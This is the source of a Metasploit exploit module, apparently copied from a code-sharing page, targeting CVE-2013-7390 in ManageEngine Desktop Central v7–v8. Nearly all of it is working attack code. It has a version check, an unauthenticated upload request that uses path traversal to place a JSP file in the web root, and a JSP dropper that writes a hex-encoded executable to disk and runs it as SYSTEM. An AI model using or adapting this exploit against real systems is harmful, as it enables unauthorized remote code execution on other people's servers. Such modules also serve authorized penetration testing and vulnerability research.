Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10
  include Msf::Exploit::EXE
11
  include Msf::Exploit::FileDropper
12

13
  def initialize(info = {})
14
    super(update_info(info,
15
      'Name'           => 'ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload',
16
      'Description'    => %q{
17
        This module exploits an arbitrary file upload vulnerability in Desktop Central v7 to
18
        v8 build 80293. A malicious user can upload a JSP file into the web root without
19
        authentication, leading to arbitrary code execution as SYSTEM.
20
      },
21
      'Author'         =>
22
        [
23
          'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>' # Vulnerability discovery and MSF module
24
        ],
25
      'License'        => MSF_LICENSE,
26
      'References'     =>
27
        [
28
          ['CVE', '2013-7390'],
29
          ['OSVDB', '100008'],
30
          ['URL', 'http://security-assessment.com/files/documents/advisory/Desktop%20Central%20Arbitrary%20File%20Upload.pdf'],
31
          ['URL', 'https://seclists.org/fulldisclosure/2013/Nov/130'],
32
        ],
33
      'Platform'       => 'win',
34
      'Arch'           => ARCH_X86,
35
      'Targets'        =>
36
        [
37
          [ 'Desktop Central v7 - v8 build 80292 / Windows', {} ]
38
        ],
39
      'Privileged'     => true,
40
      'DefaultTarget'  => 0,
41
      'DisclosureDate' => '2013-11-11'
42
    ))
43

44
    register_options([Opt::RPORT(8020)])
45
  end
46

47

48
  def upload_file(filename, contents)
49
    res = send_request_cgi({
50
      'uri'       => normalize_uri('agentLogUploader'),
51
      'method'    => 'POST',
52
      'data'      => contents,
53
      'ctype'     => 'text/html',
54
      'encode_params' => false,
55
      'vars_get'  => {
56
        'computerName'  => 'DesktopCentral',
57
        'domainName'    => 'webapps',
58
        'customerId'    => '..',
59
        'filename'      => filename
60
      }
61
    })
62

63
    if res && res.code == 200 && res.body.to_s.empty?
64
      return true
65
    else
66
      return false
67
    end
68
  end
69

70
  # Test for Desktop Central
71
  def check
72
    res = send_request_cgi({
73
      'uri' => normalize_uri("configurations.do"),
74
      'method' => 'GET'
75
    })
76

77
    if res && res.code == 200
78
      build = nil
79

80
      if res.body.to_s =~ /ManageEngine Desktop Central 7/ ||
81
          res.body.to_s =~ /ManageEngine Desktop Central MSP 7/     # DC v7
82

83
        print_status("Detected Desktop Central v7")
84
      elsif res.body.to_s =~ /ManageEngine Desktop Central 8/ ||
85
          res.body.to_s =~ /ManageEngine Desktop Central MSP 8/
86

87
        if res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/  # DC v8 (later versions)
88
          build = $1
89
          print_status("Detected Desktop Central v8 #{build}")
90
        else                                                     # DC v8 (earlier versions)
91
          print_status("Detected Desktop Central v8")
92
        end
93
      elsif res.body.to_s =~ /id="buildNum" value="([0-9]+)"\/>/ # DC v9 (and higher?)
94
        build = $1
95
      end
96

97
      if build.nil?
98
        return Exploit::CheckCode::Unknown
99
      elsif Rex::Version.new(build) < Rex::Version.new("80293")
100
        return Exploit::CheckCode::Appears
101
      else
102
        return Exploit::CheckCode::Safe
103
      end
104
    end
105

106
    Exploit::CheckCode::Unknown
107
  end
108

109

110
  def exploit
111
    print_status("Uploading JSP to execute the payload")
112

113
    exe = payload.encoded_exe
114
    exe_filename = rand_text_alpha_lower(8) + ".exe"
115

116
    dropper = jsp_drop_and_execute(exe, exe_filename)
117
    dropper_filename = rand_text_alpha_lower(8) + ".jsp"
118

119
    if upload_file(dropper_filename, dropper)
120
      register_files_for_cleanup(exe_filename)
121
      register_files_for_cleanup("..\\webapps\\DesktopCentral\\#{dropper_filename}")
122
    else
123
      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
124
    end
125

126
    print_status("Executing payload")
127
    send_request_cgi(
128
    {
129
      'uri'    => normalize_uri(dropper_filename),
130
      'method' => 'GET'
131
    })
132
  end
133

134

135
  def jsp_drop_bin(bin_data, output_file)
136
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
137
    jspraw << %Q|<%\n|
138
    jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n|
139

140
    jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n|
141

142
    jspraw << %Q|int numbytes = data.length();\n|
143

144
    jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n|
145
    jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n|
146
    jspraw << %Q|{\n|
147
    jspraw << %Q|  char char1 = (char) data.charAt(counter);\n|
148
    jspraw << %Q|  char char2 = (char) data.charAt(counter + 1);\n|
149
    jspraw << %Q|  int comb = Character.digit(char1, 16) & 0xff;\n|
150
    jspraw << %Q|  comb <<= 4;\n|
151
    jspraw << %Q|  comb += Character.digit(char2, 16) & 0xff;\n|
152
    jspraw << %Q|  bytes[counter/2] = (byte)comb;\n|
153
    jspraw << %Q|}\n|
154

155
    jspraw << %Q|outputstream.write(bytes);\n|
156
    jspraw << %Q|outputstream.close();\n|
157
    jspraw << %Q|%>\n|
158

159
    jspraw
160
  end
161

162

163
  def jsp_execute_command(command)
164
    jspraw =  %Q|\n|
165
    jspraw << %Q|<%\n|
166
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
167
    jspraw << %Q|%>\n|
168

169
    jspraw
170
  end
171

172

173
  def jsp_drop_and_execute(bin_data, output_file)
174
    jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
175
  end
176
end
177

178